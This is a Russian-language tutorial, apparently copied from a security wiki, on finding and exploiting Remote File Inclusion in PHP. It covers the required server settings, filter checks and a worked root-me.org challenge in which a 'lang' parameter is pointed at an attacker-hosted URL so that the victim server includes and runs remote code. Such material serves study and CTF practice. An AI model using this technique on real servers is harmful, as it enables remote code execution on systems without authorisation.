Remote File Inclusion
RFI - это выполнение удаленных файлов на серверной стороне. Проще говоря, у нас есть сервер, возвращающий с каким то запросом код программы, который будет открыт и запущен на сервере-жертве.
Нахождение RFI
Нахождение RFI сводится к тому, что мы вначале находим LFI.
Поиск LFI
Для RFI требуется несколько параметров:
1. allow_url_fopen = On
2. allow_url_include = On
3. Строковая переменная в момент инклуда начинается именно с пользовательского ввода.
Третий пункт как раз объясняет нам, почему вначале мы ищем именно LFI: LFI не зависит от начала этой строковой переменной (именно из-за Path Traversal - да-да /../ спасет мир)
Изучение фильтров
Если вы уже нашли LFI, то пора бы изучить фильтры.
Для этого нам нужен минимум символов:
:/.
Если хотя бы один из символов не проходит, то RFI отсутствует (если нет преобразования hex,base64 и тд).
Конкатенация к строке инклуда (отличие от LFI реализации)
Обычно приписывание другой строки к запросу обходится так же, как и в LFI (и вы это могли найти на части поиска LFI уязвимости).
Но тут есть некоторые "фичи".
Если не получится откинуть приписанную строку
Рассмотрим пример, где приписывается _lg.php (http://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion). LFI у нас нет тк никакие способы не прошли.
Наш запрос:
http://challenge01.root-me.org/web-serveur/ch13/?lang=en
Преобразовывает инклуд в:
include("en_lang.php")
В этом случае нам требовалось отослать подобную строку:
http://challenge01.root-me.org/web-serveur/ch13/?lang=http://uri/folder/en
Объясняю, что происходит:
1.Мы создали у нас на сайте файл http://uri/folder/en_lang.php
2.Строка http://uri/folder/en преобразовалась в -> http://uri/folder/en_lang.php
3.Инклудится наш файл: include("http://uri/folder/en_lang.php")
4.Profit!
Если говорить проще, то нам нужно создать такой файл, что при переходе к нему, его url оканчивался на нужную последовательность символов (как в примере _lang.php).
Но! Это не пройдет, если у вас будет приписываться окончание незапускаемого типа файлов (как gif или css).
Фильтруется протокол передачи
RFI не пройдет так же, если будут фильтроваться все три протокола:
http,ftp,https
Если же какой то из них не фильтруется, то эта часть, считайте, успешно пройдена.
Эксплуатация RFI
Большинство информации было написано в предыдущих пунктах,поэтому вкратце.
Для эксплуатации нам всего лишь требуется cвой сайт или ftp сервер выходящий в глобальную сеть.
1. Создаем запускаемый файл на нашем сервере, высвечивающий исходник по curl(ftp) запросу.
2. Преобразовываем его положение на сервере, чтобы он смог пройти фильтрацию.
3. Отсылаем преобразованную строку, учитывая фильтры и конкатенацию
4. Profit!
Статьи и полезные ссылки
- https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
- http://securityxploded.com/remote-file-inclusion.php
- https://xakep.ru/2009/09/17/49508/
взято с сайта http://itsecwiki.org/